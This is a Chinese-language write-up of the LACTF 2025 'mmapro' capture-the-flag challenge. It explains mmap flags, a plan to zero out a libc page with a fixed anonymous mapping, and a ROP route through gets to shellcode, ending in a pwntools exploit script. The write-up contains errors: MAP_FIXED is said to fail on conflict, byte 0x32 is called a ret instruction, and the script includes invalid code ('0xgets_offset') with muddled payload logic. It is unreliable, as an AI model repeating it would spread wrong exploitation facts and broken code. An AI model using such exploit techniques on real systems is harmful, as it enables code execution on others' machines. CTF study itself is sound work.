关于LACTF 2025 mmapro知识点思考
字数 1746 2025-08-29 08:30:12
LACTF 2025 mmapro 知识点深入解析与利用
1. 题目概述
这是一个关于 mmap 系统调用利用的 CTF 题目,主要考察对 mmap 函数参数控制和内存映射机制的理解。题目提供了以下关键信息:
- 程序一开始就泄露了
mmap的地址和 libc 地址 - 允许用户完全控制
mmap的六个参数 - 需要通过
mmap参数控制实现程序执行流劫持
2. mmap 函数深入解析
2.1 函数原型
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
2.2 关键 flags 参数详解
| 宏定义 | 十六进制值 | 说明 |
|---|---|---|
| MAP_SHARED | 0x01 | 映射区域与其他进程共享,对内存的修改会同步到文件 |
| MAP_PRIVATE | 0x02 | 映射区域为私有,写入时触发"写时复制"(Copy-on-Write),不修改文件 |
| MAP_FIXED | 0x10 | 强制使用指定的起始地址 start,若冲突则失败 |
| MAP_ANONYMOUS | 0x20 | 匿名映射(不关联文件),通常与 MAP_ANON 等价 |
| MAP_DENYWRITE | 0x0800 | 禁止对映射文件的其他直接写入操作 |
| MAP_LOCKED | 0x2000 | 锁定映射区域,防止被交换到磁盘(Swap) |
2.3 关键组合 flags
MAP_ANONYMOUS | MAP_FIXED= 0x30MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE= 0x32
3. 利用原理
3.1 核心思路
- 使用
MAP_FIXED强制指定映射地址 - 结合
MAP_ANONYMOUS进行匿名映射 - 添加
MAP_PRIVATE实现写时复制,允许覆盖现有映射
3.2 具体步骤
-
覆盖 libc 代码段:
- 通过
mmap将 libc 的某页映射为全零 - 这会导致该页的代码变为
00 00 00...,对应 x86 的add [eax], al指令
- 通过
-
创建滑板指令:
- 被覆盖的页会形成一系列
add [eax], al指令 - 这些指令会作为"滑板"执行,直到遇到未被覆盖的有效指令
- 被覆盖的页会形成一系列
-
寻找可用 gadget:
- 在 libc 中寻找以
0x32结尾的地址(对应ret指令) - 这些地址可以作为有效的返回地址使用
- 在 libc 中寻找以
-
构造 ROP 链:
- 利用
mmap参数控制寄存器:rdi= start 地址fd= gets 函数地址offset= start 地址
- 实现 gets 写入 shellcode 并跳转执行
- 利用
4. 利用细节
4.1 关键 gadget 寻找
-
需要找到满足以下条件的地址:
- 位于 libc 中
- 地址以
0x32结尾 - 对应指令为
ret
-
示例 gadget:
0x16c000(0x115000 + 0x57000)- 这是
ptsname_r函数的开头位置
4.2 寄存器控制
mmap调用后:rax保存返回值(即 start 地址)- 其他寄存器可能保留调用前的值
- 可以利用这些寄存器状态构造后续利用
4.3 执行流程
- 覆盖
mmap函数所在页 - 执行滑板指令
- 跳转到可用 gadget
- 通过 gets 写入 shellcode
- 跳转到 shellcode 执行
5. 完整利用代码
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 假设的地址,实际需要根据题目调整
libc_base = 0x7ffff7a00000
mmap_addr = libc_base + 0x115000
target_gadget = libc_base + 0x16c000 # ptsname_r 开头
# 构造 mmap 参数
start = mmap_addr
length = 0x1000
prot = 7 # PROT_READ | PROT_WRITE | PROT_EXEC
flags = 0x32 # MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE
fd = 0 # 不重要
offset = 0 # 不重要
# 第一次调用:覆盖 mmap 函数页
payload = flat([
start, length, prot, flags, fd, offset
])
# 第二次调用:设置 ROP
flags = 0x32 # 同时也是 ret 指令
fd = libc_base + 0xgets_offset # gets 函数地址
offset = start # 写入地址
payload += flat([
start, length, prot, flags, fd, offset
])
# 发送 payload 并交互
# ...
6. 注意事项
- 页对齐:所有操作必须以页(通常 0x1000)为单位
- 地址选择:需要精确计算 libc 中可用的 gadget 地址
- 寄存器状态:注意
mmap调用后的寄存器状态变化 - 爆破技术:可以通过 gdb + pwntools 爆破寻找可用 gadget
7. 扩展思考
- 其他可能利用的
mmapflags 组合 - 通过
mprotect修改内存权限的替代方案 - 在多线程环境下的利用可能性
- 对抗 ASLR 的策略
这个题目展示了如何通过精细控制 mmap 参数来实现内存操作和代码执行,是理解 Linux 内存管理机制和系统调用利用的绝佳案例。